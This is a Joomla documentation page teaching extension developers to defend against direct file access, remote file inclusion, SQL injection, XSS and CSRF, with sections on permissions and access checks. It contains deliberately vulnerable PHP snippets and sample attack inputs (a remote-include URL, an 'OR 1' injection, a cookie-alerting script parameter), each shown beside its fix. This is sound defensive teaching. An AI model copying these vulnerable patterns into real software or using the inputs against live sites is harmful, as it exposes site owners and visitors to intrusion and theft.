Securing Joomla extensions

From Joomla! Documentation

This page contains changes which are not marked for translation.
Other languages:
Deutsch • ‎English • ‎中文(台灣)‎

By design, Joomla! is secure. While most core components are safe and secure, hackers often get into the system by using third party extensions. This article is targeted at giving you an easy guide for making your extension as safe as possible.

We strongly recommend using these functions to ensure maximum security.

Intro: Guide to More Secure Components/Modules/Plugins...[edit]

Are you a third party developer for Joomla! addons? Do you publish your programs on the Joomla! forge or on your website? Well, thank you for doing that, the community probably loves you for sharing your work!

However, there are a few things in terms of security that you should be aware of. Just having a component that runs fine on your computer is usually not enough! You need to take care of security, because otherwise your program could easily ruin the websites of your customers.

These are the topics dealt with in this guide:

  • Secure your software against direct access
  • Secure your software against remote file inclusion
  • Secure your software against SQL injections
  • Secure your software against XSS scripting
  • Secure your software against cross-site request forgery
  • Avoid open (0777) file and folder permissions
  • Check access privileges of users
  • How to achieve raw component output (for pictures, RSS-feeds etc.)
  • Various things to be aware of
  • What to do if you discover a security issue in your software

Please note that when I refer to components, I also mean modules, plugins and templates. All code examples in this guide are written for Joomla! 3.x. although the same examples will usually apply to 2.5.x as well.

Secure your Software Against Direct Access[edit]

The files of your component will usually be called by Joomla!. Joomla! is a wrapper around your software, it provides many useful features such as user authentication. Since developers usually test their components only through Joomla!, they tend to forget about the possibility of calling files directly. Instead of calling your component by

https://www.example.com/index.php?option=com_yourcomponent

attackers might try to use

https://www.example.com/components/com_yourcomponent/yourcomponent.php

The PHP file will be executed directly, without Joomla! as a wrapper around it. If your file only contains some classes or functions, but does not execute any code, there is nothing wrong about that:

<?php
 class myClass {
     [SomeFunctionsHere]
 }
 function myFunction() {
     [SomeCodeHere]
 }
 ?>

The cracker would just see an empty page when accessing your file directly. But if that PHP file actually executes anything, they would probably see a bunch of error messages, revealing important details of your system. Under some circumstances, they might also be able to execute any code they wants to on your system!

Conclusion

To make your component secure against direct access, insert this code line into the beginning of every PHP file that executes code:

// no direct access
defined('_JEXEC') or die('Restricted access');

This is a must for every file that executes PHP code. If you are in doubt whether your file executes code, do use this line!

Secure Your Software Against Remote File Inclusion[edit]

Advances in PHP and Joomla security have made this exploit more difficult, but it is still important to be aware of it and guard against it, particularly if you allow user input to define a file path. For example suppose in a template you use code such as the following:

$layout = $_GET['layout'];
include($layout);

An attacker could craft the URL to inject a remote file name into the layout parameter. They may try to access your component as:

https://www.example.com/com_yourcomponent/views/yourcomponent?layout=https://www.bad.site/bad.gif

that actually sends back executable PHP code under the filename of that image. The attacker can do anything they want to do on your webserver! This is called remote file inclusion. Unfortunately, this is something even script kiddies could do easily. How does one secure against this? This kind of attack is made much more difficult by using the absolute path when including a file. It removes any ambiguity about where PHP should find the file, for example

$layout = $_GET['layout'];
include(JPATH_SITE. '/components/com_yourcomponent/views/tmpl/'.$layout );

or

include(JPATH_ADMINISTRATOR. '/components/com_yourcomponent/views/tmpl/'.$layout );

As constants, JPATH_SITE and JPATH_ADMINISTRATOR are not vulnerable to manipulation by an attacker. They are defined by Joomla and are available to use anywhere in your code where you require the path to the site. However we can do considerably better than this by also properly sanitizing the user input using the Joomla JInput class rather than the raw $_GET array.

$jinput = JFactory::getApplication()->input;
$layout = $jinput->get('layout','default');
include(JPATH_SITE. '/components/com_yourcomponent/views/tmpl/'.$layout );

By default JInput applies the CMD filter to user input, that only allows the following characters: a-z, 0-9, underscore, dot, dash. If you want to use other filters you can find out more about JInput at Retrieving_request_data_using_JInput. Note that using the CMD filter will prevent the inclusion of remote files by excluding the necessary characters, also the exclusion of directory separators in the file name will prevent directory traversal, where an attacker attempts to manipulate the path to include a file on the same server that they should not have access to. Remote file inclusion only works on systems that have the PHP setting allow_url_fopen switched to on. But as this option is needed by many good programs as well, switching it off is not always a good idea. You should not rely on allow_url_fopen being turned off but instead write secure code that cannot be exploited when it is turned on.

Conclusion To secure your code against remote file inclusion, you need to make sure no unvalidated input is used when including files. You should never use the raw $_GET and $_POST arrays, instead use the Joomla JInput class, which includes sanitization of use input. Second, be careful with all calls to functions dealing with the file system, especially include, require, include_once, require_once, fopen. If you really need to include files with variable names, make sure to validate all these variables, lock down as far as possible the range of allowed values.

Secure Your Software Against SQL Injections[edit]

SQL injections make it possible for attackers to modify certain unsafe SQL queries that your script executes in such a way that it could alter data in your database or give out sensible data to the attacker. That is because of unvalidated user input.

Take a look at this code:

$value = $_GET['value'];
 $database->setQuery( "SELECT * FROM #__mytable WHERE id = $value" );

An attacker could hand over a string like '1 OR 1', the query results in

"SELECT * FROM #__mytable WHERE id = 1 OR 1"

thus returning all rows from jos_mytable. This is a particularly simple example of a possible exploit; there are many others. One common misconception among developers is that SQL injection can only be used to manipulate results from the table in the original SQL statement, therefore may not be much of a security risk if the table is unimportant. This is wrong. By including a UNION SELECT command in the injected SQL an attacker may be able to access any table in the Joomla database. It is a big security risk. I'm not going more into detail here as SQL injections are covered quite well on the web. Please take a look at the resources listed at the bottom of this page.

Conclusion Validate all user input before you use it in a SQL query. Apply

$db = JFactory::getDBO();
$string = $db->escape( $string );

to all strings that will be used in SQL queries, and apply

$value = intval( $value );

to all integer numbers you use in SQL queries. It is a good idea to do this even if you think that the values will never be obtained from user input. You don't know how your code may be used in future. For more information on SQL injections, please take a look at the listed resources. [3.2].

As a rule you should always obtain any user input using the Joomla JInput Class rather than the raw $_GET and $_POST arrays, however note that you cannot necessarily rely on this alone to prevent SQL injection. Injection attacks can be accomplished using characters that in other circumstances are perfectly acceptable, so the filters you use may not be enough to prevent them. The only reliable way to prevent injection attacks is to escape all string values using $db->escape(), and use type casting for numeric values as in the examples above.

Secure Your Software Against XSS[edit]

Cross Site Scripting (XSS) means executing script code (e.g. JavaScript) in a visitor's browser. These attacks can be used to steal a user's session cookie and hence allow an attacker to impersonate a logged in user, so can be dangerous. Be careful not to echo out any unvalidated input to a user. Code like this is dangerous for your visitors:

echo $_REQUEST['value'];

Conclusion Use JInput to obtain any user input, for example

$jinput = JFactory::getApplication()->input;
$value = $Jinput->get('value','','html');
echo $value;

This will strip out all HTML tags and attributes. However you should also use your judgement about what are acceptable values. If you think that there is any chance that some HTML code could have slipped through you can use in addition the PHP htmlspecialchars() function

$value = htmlspecialchars( $value );
echo $value;

Moreover, if you are using user input to obtain a JavaScript value you need to be even more careful. Just stripping out HTML will not be enough. For example consider this that might be included in an HTML template:

<script type="text/javascript">
  var colour = <?php echo $jinput->get('colour','blue','alnum'); ?>;
</script>

In this case we have used the alnum filter, which removes all except characters a to z and 0 to 9. You need a restrictive filter such as this to be safe. Otherwise it may be possible to add additional JavaScript statements using only simply punctuation, including characters such as '();. Consider what would happen if an attacker includes in the query string:

colour=blue%3B%20window.alert(document.cookie)%3B

If you use a filter that removes only HTML tags, this results in the JavaScript statements:

<script type="text/javascript">
  var colour = blue;
  window.alert(document.cookie);
</script>

Secure Your Extension Against Cross-Site Request Forgery[edit]

Suppose a site superuser is logged into their site and visits a hacked web page on another site that includes a bogus image with the source of:

https://example.com/administrator/index.php?option=com_yourcomponent&task=deleteall

Their browser will attempt to load the bogus image and, in doing so, delete everything in the component database. Joomla includes in-built protection against this sort of thing, in the form of the session token. You will probably have encountered this yourself if you try to log into a Joomla site on a page that has stood idle for some time; it will fail with an invalid token message. This is an essential security feature. To use this feature in your extension (which you should always do), you need to include the token in any form that your extension uses.

<?php echo JHTML::_( 'form.token' ); ?>

Before your extension does anything dangerous such as deleting, check for a valid token:

JSession::checkToken() or jexit( 'Invalid Token' );

Avoid Open (0777) File and Folder Permissions[edit]

It has become a habit among PHP developers of software that uses file manipulation to use files and folders with the Linux permissions of 0777. This makes them writable by anyone with an account on the same server. This is a security risk for sites hosted on a shared server (which includes many sites). If you search for this topic on the web you will find some who disagree with this, because PHP scripts will not normally be executed with file permissions above 0644 and folder permissions above 0755. This argument completely ignores the danger from non-PHP files.

Cross site scripting attacks (discussed above) are normally accomplished through malicious HTML and JavaScript, also sometimes vulnerable Flash movies or Java applets. Open folder and file permissions make a site vulnerable to such attacks. You should never create open folders and files with your software, by default and without the customer's knowledge and permission. If they understand the risks and are prepared to use open folders on their site that is fine—it is their site. Unfortunately too many developers do not bother to ask and allow their software to create open folders upon installation without the customer's knowledge. There is no good reason for using open folders in your software. If you need to avoid difficulties with folder ownership, use chmod to temporarily open them—then shut them afterwards.

Check Access Privileges of Users[edit]

When allowing a site user to undertake certain actions, such as creating, editing and deleting items, make sure that only users who have the correct permissions can do so. This is particularly important if your extension is a component that allows front-end editing. Otherwise any site user will normally be able to access these actions. It is also important to include some basic permission checks in the administrator section of your component to verify that the user is authorized to manage the component.

The Joomla ACL (Access Control List) system is a big topic and there is not room to do more than point you in the right direction. There is a good tutorial on incorporating ACL into your extension here: Developing a MVC Component / Adding ACL

The basics of incorporating ACL are simple. There are three stages:

Include a file access.xml in the administrator folder of your component. This file will describe the actions that you want to control access to, for example:

<?xml version="1.0" encoding="utf-8" ?>
<access component="com_example">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
        </section>
</access>

Include a permissions fieldset in your component's config.xml file. This will allow the site's administrator to set the permissions for these actions:

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			validate="rules"
			filter="rules"
			component="com_example"
			section="component" />
	</fieldset>

Use the JUser $user->authorise method in your component's controller to check if the user has the correct permissions for the action. For example:

if (!JFactory::getUser()->authorise('core.manage', 'com_example')) {
        return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

Conclusion You can check these values to block access to certain parts of your component.

Also, do not present any information to a user they do not have access to. You can use the JUser $user->getAuthorisedViewLevels method to obtain the view levels that the user has access to:

$user = JFactory::getUser();
$groups = implode(',', $user->getAuthorisedViewLevels());

A simple SQL query that takes into account the permissions of the category for a certain database entry (assuming your data is sorted into categories) might look like this:

SELECT * FROM #__contact_details AS c
 LEFT JOIN #__categories AS cat ON cat.id = c.catid
 WHERE ( c.name LIKE '%$text%' )
 AND c.published = 1
 AND cat.published = 1
 AND c.access IN ($groups)
 AND cat.access IN ($groups)

Note that both the contact details and the category are checked for being published and for being within the users access level. Remember also that $text must be escaped if the value is obtained from user input.

How to Achieve Raw Component Output (For Pictures, RSS Feeds etc.)[edit]

In some cases, users need to send out raw data (no Joomla! template around it) to the browser, for example binary pictures or XML data for RSS feeds. Developers tend to write their own entry point PHP files, but this should only be a last resort. It is much more secure to let Joomla! handle things. Then Joomla's security features will be used.

Conclusion To obtain the component output is easy. Just add tmpl=component to the URL for example:

index.php?option=com_content&view=category&id=14&tmpl=component

To send a non-HTML response, such as an XML feed or an image is almost as simple:

https://www.example.com/index.php?option=com_yourcomponent&format=xml

Then in the views folder of your component include a file called view.xml.php. In this file it is helpful to tell Joomla what type of output to produce, so that it knows it is not HTML:

$document =& JFactory::getDocument();
$document->setType('xml');

However if your XML output is a standard RSS feed you can use format=feed instead, and use a view file called view.feed.php, Joomla will automatically understand the correct document type. To output an image is a similar process, use an URL such as

https://www.example.com/index.php?option=com_yourcomponent&format=img

Then in your component views folder include a file called view.img.php. You will need to set the mime encoding of the output. For example to output a PNG image use:

	$document =& JFactory::getDocument();
	$document->setMimeEncoding('image/png');

Various Things to be Aware of[edit]

There are some more things you should not do and also some functions you should not use at all.

  • Don't use eval(). eval() is evil!
  • Don't use the backtick operator, exec, shell_exec, system, popen and such functions.
  • Don't automatically send an email to yourself whenever your component becomes installed somewhere. This will give you a bad reputation!
  • We should never ever see the use of @$_GET or @$_POST, etc. in the code.
  • Don't include any admin backdoors in your code, most especially not ones with hard-coded passwords. You may laugh, but this has happened.
  • Don't obfuscate your code, for example by using base 64 encoding. It worries users when they find it, makes the code difficult to debug and violates the GPL license under which Joomla extensions are required to be licensed.
  • Beware of including external libraries in your extension, check what they actually contain. A lot of Flash and JavaScript libraries will include demo application code. Sometimes these include things like file uploaders. You should always strip these out. Otherwise users of your extension may be unwittingly installing a back door on their site.

Code defensively. Don't assume that your data comes from a trusted source or has been sanitized elsewhere. Even if it happens to be true at the moment, your code may be re-used in the future in other contexts where that cannot be guaranteed. The danger points include saving data to a database, outputting to a browser and performing admin tasks. Always perform the appropriate checks before doing these.

What to Do if You Discover a Security Issue in Your Software[edit]

Occasionally you may discover a security issue in your code or have it reported to you by someone else or it may become public knowledge by being reported to the Joomla Vulnerable Extensions List (VEL) or other security-related websites. If this happens there are some things, as a responsible developer that you should do.

  • First, fix your code
  • Notify your users that they need to update. This should include a security release announcement on your website. You may want to contact your users by email too.
  • Notify the Joomla Joomla! Vulnerable Extensions List

It is up to you how much information you wish to disclose publicly about the vulnerability. Some developers like to go into detail about how it might be exploited, others take the view that this just makes life easier for attackers and prefer to keep it confidential. That is your choice. The important thing is that your users should be made aware that they need to update.

Some developers don't like to admit it when there is a problem in case it damages their reputation. It should not. Fixing your code and informing your users shows that you are a responsible developer who cares about your users. Issuing security patches is a normal part of software development. Look at the number of patches that Microsoft issues for Windows and they have been doing it for years.

Resources[edit]

Secure Your Software Against Direct Access[edit]

  • No resources so far.

Secure Your Software Against Remote File Inclusion[edit]

Secure Your Software Against SQL Injections[edit]

Secure Your Software Against XSS Scripting[edit]

Secure Your Extension Against Cross-Site Request Forgery[edit]

Check Access Privileges of Users[edit]

  • No resources so far.

How to Achieve Raw Component Output (for pictures, RSS-feeds etc.)[edit]

  • No resources so far.

Various Things to be Aware of[edit]

What to Do If You Discover a Security Issue in Your Software[edit]